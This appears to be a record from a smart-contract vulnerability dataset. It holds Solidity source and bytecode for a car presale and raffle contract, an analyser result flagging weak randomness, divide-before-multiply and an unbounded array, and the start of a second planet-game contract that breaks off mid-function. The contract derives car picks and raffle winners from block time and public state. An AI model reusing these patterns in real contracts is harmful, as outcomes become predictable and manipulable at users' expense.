pragma solidity ^0.4.18; contract AccessControl { /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles address public ceoAddress; address public cooAddress; /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev The AccessControl constructor sets the original C roles of the contract to the sender account function AccessControl() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for any CLevel functionality modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Pause the smart contract. Only can be called by the CEO function pause() public onlyCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Only can be called by the CEO function unpause() public onlyCEO whenPaused { paused = false; } } contract RacingClubPresale is AccessControl { using SafeMath for uint256; // Max number of cars (includes sales and gifts) uint256 public constant MAX_CARS = 999; // Max number of cars to gift (includes unicorns) uint256 public constant MAX_CARS_TO_GIFT = 99; // Max number of unicorn cars to gift uint256 public constant MAX_UNICORNS_TO_GIFT = 9; // End date for the presale. No purchases can be made after this date. // Monday, November 19, 2018 11:59:59 PM uint256 public constant PRESALE_END_TIMESTAMP = 1542671999; // Price limits to decrease the appreciation rate uint256 private constant PRICE_LIMIT_1 = 0.1 ether; // Appreciation steps for each price limit uint256 private constant APPRECIATION_STEP_1 = 0.0005 ether; uint256 private constant APPRECIATION_STEP_2 = 0.0001 ether; // Max count which can be bought with one transaction uint256 private constant MAX_ORDER = 5; // 0 - 9 valid Id's for cars uint256 private constant CAR_MODELS = 10; // The special car (the most rarest one) which can't be picked even with MAX_ORDER uint256 public constant UNICORN_ID = 0; // Maps any number from 0 - 255 to 0 - 9 car Id uint256[] private PROBABILITY_MAP = [4, 18, 32, 46, 81, 116, 151, 186, 221, 256]; // Step by which the price should be changed uint256 public appreciationStep = APPRECIATION_STEP_1; // Current price of the car. The price appreciation is happening with each new sale. uint256 public currentPrice = 0.001 ether; // Overall cars count uint256 public carsCount; // Overall gifted cars count uint256 public carsGifted; // Gifted unicorn cars count uint256 public unicornsGifted; // A mapping from addresses to the carIds mapping (address => uint256[]) private ownerToCars; // A mapping from addresses to the upgrade packages mapping (address => uint256) private ownerToUpgradePackages; // Events event CarsPurchased(address indexed _owner, uint256[] _carIds, bool _upgradePackage, uint256 _pricePayed); event CarGifted(address indexed _receiver, uint256 _carId, bool _upgradePackage); function RacingClubPresale() public { // set previous contract values carsCount = 98; carsGifted = 6; unicornsGifted = 2; currentPrice = 0.05 ether; } // Buy a car. The cars are unique within the order. // If order count is 5 then one car can be preselected. function purchaseCars(uint256 _carsToBuy, uint256 _pickedId, bool _upgradePackage) public payable whenNotPaused { require(now < PRESALE_END_TIMESTAMP); require(_carsToBuy > 0 && _carsToBuy <= MAX_ORDER); require(carsCount + _carsToBuy <= MAX_CARS); uint256 priceToPay = calculatePrice(_carsToBuy, _upgradePackage); require(msg.value >= priceToPay); // return excess ether uint256 excess = msg.value.sub(priceToPay); if (excess > 0) { msg.sender.transfer(excess); } // initialize an array for the new cars uint256[] memory randomCars = new uint256[](_carsToBuy); // shows from which point the randomCars array should be filled uint256 startFrom = 0; // for MAX_ORDERs the first item is user picked if (_carsToBuy == MAX_ORDER) { require(_pickedId < CAR_MODELS); require(_pickedId != UNICORN_ID); randomCars[0] = _pickedId; startFrom = 1; } fillRandomCars(randomCars, startFrom); // add new cars to the owner's list for (uint256 i = 0; i < randomCars.length; i++) { ownerToCars[msg.sender].push(randomCars[i]); } // increment upgrade packages if (_upgradePackage) { ownerToUpgradePackages[msg.sender] += _carsToBuy; } CarsPurchased(msg.sender, randomCars, _upgradePackage, priceToPay); carsCount += _carsToBuy; currentPrice += _carsToBuy * appreciationStep; // update this once per purchase // to save the gas and to simplify the calculations updateAppreciationStep(); } // MAX_CARS_TO_GIFT amout of cars are dedicated for gifts function giftCar(address _receiver, uint256 _carId, bool _upgradePackage) public onlyCLevel { // NOTE // Some promo results will be calculated after the presale, // so there is no need to check for the PRESALE_END_TIMESTAMP. require(_carId < CAR_MODELS); require(_receiver != address(0)); // check limits require(carsCount < MAX_CARS); require(carsGifted < MAX_CARS_TO_GIFT); if (_carId == UNICORN_ID) { require(unicornsGifted < MAX_UNICORNS_TO_GIFT); } ownerToCars[_receiver].push(_carId); if (_upgradePackage) { ownerToUpgradePackages[_receiver] += 1; } CarGifted(_receiver, _carId, _upgradePackage); carsCount += 1; carsGifted += 1; if (_carId == UNICORN_ID) { unicornsGifted += 1; } currentPrice += appreciationStep; updateAppreciationStep(); } function calculatePrice(uint256 _carsToBuy, bool _upgradePackage) private view returns (uint256) { // Arithmetic Sequence // A(n) = A(0) + (n - 1) * D uint256 lastPrice = currentPrice + (_carsToBuy - 1) * appreciationStep; // Sum of the First n Terms of an Arithmetic Sequence // S(n) = n * (a(1) + a(n)) / 2 uint256 priceToPay = _carsToBuy * (currentPrice + lastPrice) / 2; // add an extra amount for the upgrade package if (_upgradePackage) { if (_carsToBuy < 3) { priceToPay = priceToPay * 120 / 100; // 20% extra } else if (_carsToBuy < 5) { priceToPay = priceToPay * 115 / 100; // 15% extra } else { priceToPay = priceToPay * 110 / 100; // 10% extra } } return priceToPay; } // Fill unique random cars into _randomCars starting from _startFrom // as some slots may be already filled function fillRandomCars(uint256[] _randomCars, uint256 _startFrom) private view { // All random cars for the current purchase are generated from this 32 bytes. // All purchases within a same block will get different car combinations // as current price is changed at the end of the purchase. // // We don't need super secure random algorithm as it's just presale // and if someone can time the block and grab the desired car we are just happy for him / her bytes32 rand32 = keccak256(currentPrice, now); uint256 randIndex = 0; uint256 carId; for (uint256 i = _startFrom; i < _randomCars.length; i++) { do { // the max number for one purchase is limited to 5 // 32 tries are more than enough to generate 5 unique numbers require(randIndex < 32); carId = generateCarId(uint8(rand32[randIndex])); randIndex++; } while(alreadyContains(_randomCars, carId, i)); _randomCars[i] = carId; } } // Generate a car ID from the given serial number (0 - 255) function generateCarId(uint256 _serialNumber) private view returns (uint256) { for (uint256 i = 0; i < PROBABILITY_MAP.length; i++) { if (_serialNumber < PROBABILITY_MAP[i]) { return i; } } // we should not reach to this point assert(false); } // Check if the given value is already in the list. // By default all items are 0 so _to is used explicitly to validate 0 values. function alreadyContains(uint256[] _list, uint256 _value, uint256 _to) private pure returns (bool) { for (uint256 i = 0; i < _to; i++) { if (_list[i] == _value) { return true; } } return false; } function updateAppreciationStep() private { // this method is called once per purcahse // so use 'greater than' not to miss the limit if (currentPrice > PRICE_LIMIT_1) { // don't update if there is no change if (appreciationStep != APPRECIATION_STEP_2) { appreciationStep = APPRECIATION_STEP_2; } } } function carCountOf(address _owner) public view returns (uint256 _carCount) { return ownerToCars[_owner].length; } function carOfByIndex(address _owner, uint256 _index) public view returns (uint256 _carId) { return ownerToCars[_owner][_index]; } function carsOf(address _owner) public view returns (uint256[] _carIds) { return ownerToCars[_owner]; } function upgradePackageCountOf(address _owner) public view returns (uint256 _upgradePackageCount) { return ownerToUpgradePackages[_owner]; } function allOf(address _owner) public view returns (uint256[] _carIds, uint256 _upgradePackageCount) { return (ownerToCars[_owner], ownerToUpgradePackages[_owner]); } function getStats() public view returns (uint256 _carsCount, uint256 _carsGifted, uint256 _unicornsGifted, uint256 _currentPrice, uint256 _appreciationStep) { return (carsCount, carsGifted, unicornsGifted, currentPrice, appreciationStep); } function withdrawBalance(address _to, uint256 _amount) public onlyCEO { if (_amount == 0) { _amount = address(this).balance; } if (_to == address(0)) { ceoAddress.transfer(_amount); } else { _to.transfer(_amount); } } // Raffle // max count of raffle participants uint256 public raffleLimit = 50; // list of raffle participants address[] private raffleList; // Events event Raffle2Registered(address indexed _iuser, address _user); event Raffle3Registered(address _user); function isInRaffle(address _address) public view returns (bool) { for (uint256 i = 0; i < raffleList.length; i++) { if (raffleList[i] == _address) { return true; } } return false; } function getRaffleStats() public view returns (address[], uint256) { return (raffleList, raffleLimit); } function drawRaffle(uint256 _carId) public onlyCLevel { bytes32 rand32 = keccak256(now, raffleList.length); uint256 winner = uint(rand32) % raffleList.length; giftCar(raffleList[winner], _carId, true); } function resetRaffle() public onlyCLevel { delete raffleList; } function setRaffleLimit(uint256 _limit) public onlyCLevel { raffleLimit = _limit; } // Raffle v1 function registerForRaffle() public { require(raffleList.length < raffleLimit); require(!isInRaffle(msg.sender)); raffleList.push(msg.sender); } // Raffle v2 function registerForRaffle2() public { Raffle2Registered(msg.sender, msg.sender); } // Raffle v3 function registerForRaffle3() public payable { Raffle3Registered(msg.sender); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a0f8168146101bc5780630cf20cc91461021157806310beb0701461025357806318643d37146102c457806318e124e4146102ed5780631f7cdd9b1461033a57806327d7874c146103635780632b99f3591461039c5780632ba73c15146103f25780633f4ba83a1461042b578063403a8f531461044057806351593759146104555780635c975abb146104a25780635f4784a5146104cf57806360456068146105645780636d99f6521461058d5780637a7224cb146105a2578063841b4cd8146105f35780638456cb59146105fd578063856a89fd1461061257806399110d3c146106355780639d1b464a1461065e5780639e126449146106875780639f1ae6ac1461069c578063b047fb50146106c5578063c1ae36d01461071a578063c3d97a27146107a8578063c59d4847146107d1578063cab7e3d914610816578063cf76ebf914610842578063d13f092e1461086b578063d47510c01461088e578063d64b12cf146108b7578063ec14f974146108e0578063fafb3c7a14610909575b600080fd5b34156101c757600080fd5b6101cf610956565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610251600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061097b565b005b341561025e57600080fd5b610266610ada565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b838110156102af578082015181840152602081019050610294565b50505050905001935050505060405180910390f35b34156102cf57600080fd5b6102d7610b79565b6040518082815260200191505060405180910390f35b34156102f857600080fd5b610324600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b7f565b6040518082815260200191505060405180910390f35b341561034557600080fd5b61034d610bc8565b6040518082815260200191505060405180910390f35b341561036e57600080fd5b61039a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bce565b005b34156103a757600080fd5b6103dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca8565b6040518082815260200191505060405180910390f35b34156103fd57600080fd5b610429600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d0a565b005b341561043657600080fd5b61043e610de5565b005b341561044b57600080fd5b610453610e78565b005b341561046057600080fd5b61048c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef4565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104b5610f40565b604051808215151515815260200191505060405180910390f35b34156104da57600080fd5b610506600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f53565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561054f578082015181840152602081019050610534565b50505050905001935050505060405180910390f35b341561056f57600080fd5b610577611037565b6040518082815260200191505060405180910390f35b341561059857600080fd5b6105a061103d565b005b34156105ad57600080fd5b6105d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611100565b604051808215151515815260200191505060405180910390f35b6105fb6111a4565b005b341561060857600080fd5b610610611209565b005b341561061d57600080fd5b610633600480803590602001909190505061129c565b005b341561064057600080fd5b6106486113d9565b6040518082815260200191505060405180910390f35b341561066957600080fd5b6106716113e1565b6040518082815260200191505060405180910390f35b341561069257600080fd5b61069a6113e7565b005b34156106a757600080fd5b6106af611476565b6040518082815260200191505060405180910390f35b34156106d057600080fd5b6106d861147b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561072557600080fd5b610751600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114a1565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610794578082015181840152602081019050610779565b505050509050019250505060405180910390f35b34156107b357600080fd5b6107bb61153e565b6040518082815260200191505060405180910390f35b34156107dc57600080fd5b6107e4611544565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6108406004808035906020019091908035906020019091908035151590602001909190505061156c565b005b341561084d57600080fd5b610855611892565b6040518082815260200191505060405180910390f35b341561087657600080fd5b61088c6004808035906020019091905050611898565b005b341561089957600080fd5b6108a1611955565b6040518082815260200191505060405180910390f35b34156108c257600080fd5b6108ca61195a565b6040518082815260200191505060405180910390f35b34156108eb57600080fd5b6108f361195f565b6040518082815260200191505060405180910390f35b341561091457600080fd5b610954600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080351515906020019091905050611965565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109d657600080fd5b60008114156109fa573073ffffffffffffffffffffffffffffffffffffffff163190505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a95576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610a9057600080fd5b610ad6565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ad557600080fd5b5b5050565b610ae2611e95565b6000600b600a5481805480602002602001604051908101604052809291908181526020018280548015610b6a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610b20575b50505050509150915091509091565b600a5481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c6557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515610cf657fe5b906000526020600020900154905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4057600080fd5b600160149054906101000a900460ff161515610e5b57600080fd5b6000600160146101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff167f8b52467ea3187063288fdbf4be854c20ba83d79a111c0a9ed6ee886bd48e436b33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a2565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600160149054906101000a900460ff1681565b610f5b611ea9565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548180548060200260200160405190810160405280929190818152602001828054801561102757602002820191906000526020600020905b815481526020019060010190808311611013575b5050505050915091509150915091565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110e55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110f057600080fd5b600b60006110fe9190611ebd565b565b600080600090505b600b80549050811015611199578273ffffffffffffffffffffffffffffffffffffffff16600b8281548110151561113b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561118c576001915061119e565b8080600101915050611108565b600091505b50919050565b7f3e589f8d1c2d75bb86421d988e93deff9007b384b23369bddfbcee15e1433bb933604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126457600080fd5b600160149054906101000a900460ff1615151561128057600080fd5b60018060146101000a81548160ff021916908315150217905550565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113475750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561135257600080fd5b42600b80549050604051808381526020018281526020019250505060405180910390209150600b80549050826001900481151561138b57fe5b0690506113d4600b828154811015156113a057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846001611965565b505050565b635bf34e7f81565b60045481565b600a54600b805490501015156113fc57600080fd5b61140533611100565b15151561141157600080fd5b600b80548060010182816114259190611ede565b9160005260206000209001600033909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606381565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6114a9611ea9565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561153257602002820191906000526020600020905b81548152602001906001019080831161151e575b50505050509050919050565b60055481565b6000806000806000600554600654600754600454600354945094509450945094509091929394565b600080611577611ea9565b600080600160149054906101000a900460ff1615151561159657600080fd5b635bf34e7f421015156115a857600080fd5b6000881180156115b9575060058811155b15156115c457600080fd5b6103e78860055401111515156115d957600080fd5b6115e38887611c12565b94508434101515156115f457600080fd5b6116078534611ca090919063ffffffff16565b93506000841115611653573373ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050151561165257600080fd5b5b876040518059106116615750595b908082528060200260200182016040525092506000915060058814156116c357600a8710151561169057600080fd5b600087141515156116a057600080fd5b868360008151811015156116b057fe5b9060200190602002018181525050600191505b6116cd8383611cb9565b600090505b825181101561176557600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480600101828161172c9190611f0a565b91600052602060002090016000858481518110151561174757fe5b906020019060200201519091909150555080806001019150506116d2565b85156117b95787600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b3373ffffffffffffffffffffffffffffffffffffffff167f0518281fc5322fe9e85244c094689e1c77b78aa6fd189e2c78d3e77ea2a41981848888604051808060200184151515158152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561184757808201518184015260208101905061182c565b5050505090500194505050505060405180910390a2876005600082825401925050819055506003548802600460008282540192505081905550611888611db2565b5050505050505050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119405750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561194b57600080fd5b80600a8190555050565b600081565b600981565b6103e781565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a0d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a1857600080fd5b600a82101515611a2757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a6357600080fd5b6103e7600554101515611a7557600080fd5b6063600654101515611a8657600080fd5b6000821415611aa1576009600754101515611aa057600080fd5b5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281611af29190611f0a565b9160005260206000209001600084909190915055508015611b5c576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8273ffffffffffffffffffffffffffffffffffffffff167f66f195ce163250917438b3c17e79f99937960fe81194b05b11be5106e8c7ffa4838360405180838152602001821515151581526020019250505060405180910390a2600160056000828254019250508190555060016006600082825401925050819055506000821415611bf35760016007600082825401925050819055505b600354600460008282540192505081905550611c0d611db2565b505050565b60008060006003546001860302600454019150600282600454018602811515611c3757fe5b0490508315611c95576003851015611c6057606460788202811515611c5857fe5b049050611c94565b6005851015611c8057606460738202811515611c7857fe5b049050611c93565b6064606e8202811515611c8f57fe5b0490505b5b5b809250505092915050565b6000828211151515611cae57fe5b818303905092915050565b60008060008060045442604051808381526020018281526020019250505060405180910390209350600092508490505b8551811015611daa575b602083101515611d0257600080fd5b611d618484602081101515611d1357fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff16611de6565b91508280600101935050611d76868383611e43565b15611d8057611cf3565b818682815181101515611d8f57fe5b90602001906020020181815250508080600101915050611ce9565b505050505050565b67016345785d8a00006004541115611de457655af3107a4000600354141515611de357655af3107a40006003819055505b5b565b600080600090505b600280549050811015611e3257600281815481101515611e0a57fe5b906000526020600020900154831015611e2557809150611e3d565b8080600101915050611dee565b60001515611e3c57fe5b5b50919050565b600080600090505b82811015611e8857838582815181101515611e6257fe5b906020019060200201511415611e7b5760019150611e8d565b8080600101915050611e4b565b600091505b509392505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b5080546000825590600052602060002090810190611edb9190611f36565b50565b815481835581811511611f0557818360005260206000209182019101611f049190611f36565b5b505050565b815481835581811511611f3157818360005260206000209182019101611f309190611f36565b5b505050565b611f5891905b80821115611f54576000816000905550600101611f3c565b5090565b905600a165627a7a72305820c49f676a92d2dfc2041b67f15b72f3924c6b34ba2b89c38d0096364eb329aba90029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,492
0x4b3b99e956588b54f5841f2fb7c63721e6c7c392
pragma solidity ^0.4.24; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/CHOAM.sol contract CHOAM is Ownable { using SafeMath for uint256; uint256 public constant PLANET_PRICE = 100000000000000000; uint256 public constant FEE_RANGE = 29000000000000000; uint256 public constant FEE_MIN = 5000000000000000; uint256 public constant FEE_SILO = 10000000000000000; uint256 public constant TIMER_STEP = 120; uint256 public constant PAGE_SIZE = 25; address public master; bool public inited = false; uint256 public koef = 1; bool private create_flag = false; uint256 public silo; address public silo_addr = address(0); uint256 public silo_timer = now; struct Player { uint256 balance; uint256 position; uint8 state; uint256 discount; uint256[] planets; } mapping(address => Player) players; struct Planet { uint256 fee; bytes32 data; address owner; } struct Node { Planet planet; uint256 prev; uint256 next; } Node[] public nodes; constructor() public { master = msg.sender; } function init() public onlyOwner { if(!inited) { create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); create_planet(); inited = true; } } function() public payable { buy_spice_melange(); } function get_owner_planets(uint256 page) external view returns (uint256[] fees, bytes32[] datas, uint256[] ids, uint256[] order) { require(msg.sender != address(0)); fees = new uint256[](PAGE_SIZE); datas = new bytes32[](PAGE_SIZE); ids = new uint256[](PAGE_SIZE); order = new uint256[](PAGE_SIZE); uint256 start = page.mul(PAGE_SIZE); for(uint8 i = 0; i < PAGE_SIZE; i++) { if(i + start < players[msg.sender].planets.length) { uint256 tmp = players[msg.sender].planets[i + start]; fees[i] = nodes[tmp].planet.fee.div(koef); datas[i] = nodes[tmp].planet.data; ids[i] = tmp; order[i] = i + start; } } } function set_master(address adr) public onlyOwner { require(adr != address(0)); require(msg.sender != address(this)); master = adr; } function set_koef(uint256 _koef) public onlyOwner { require(_koef > 0); koef = _koef; } function get_planet_price() public view returns (uint256) { return PLANET_PRICE.div(koef).add(FEE_SILO.div(koef)); } function get_planet_info(uint id) external view returns (uint256 fee, bytes32 data, address owner, uint256 prev, uint256 next) { fee = nodes[id].planet.fee.div(koef); data = nodes[id].planet.data; owner = nodes[id].planet.owner; prev = nodes[id].prev; next = nodes[id].next; } function get_info(uint256 id) public view returns (uint256[] fees, bytes32[] datas, address[] addresses, uint256[] infos) { fees = new uint256[](12); datas = new bytes32[](12); addresses = new address[](14); infos = new uint256[](14); uint8 i; for(i = 0; i < 12; i++) { if(i < nodes.length) { fees[i] = nodes[id].planet.fee.div(koef); datas[i] = nodes[id].planet.data; addresses[i] = nodes[id].planet.owner; infos[i] = id; id = nodes[id].next; } } addresses[i] = silo_addr; infos[i] = silo; i++; if(now < silo_timer) infos[i] = silo_timer - now; } function get_player_state() external view returns (uint256 balance, uint256 position, uint8 state, uint256 discount, uint256 planet_price, uint256 owned_len) { balance = players[msg.sender].balance; position = players[msg.sender].position; state = players[msg.sender].state; discount = players[msg.sender].discount; planet_price = PLANET_PRICE.div(koef); planet_price = planet_price.sub(planet_price.mul(discount).div(100)).add(FEE_SILO.div(koef)); owned_len = players[msg.sender].planets.length; } function create_planet() private { bytes32 hash = 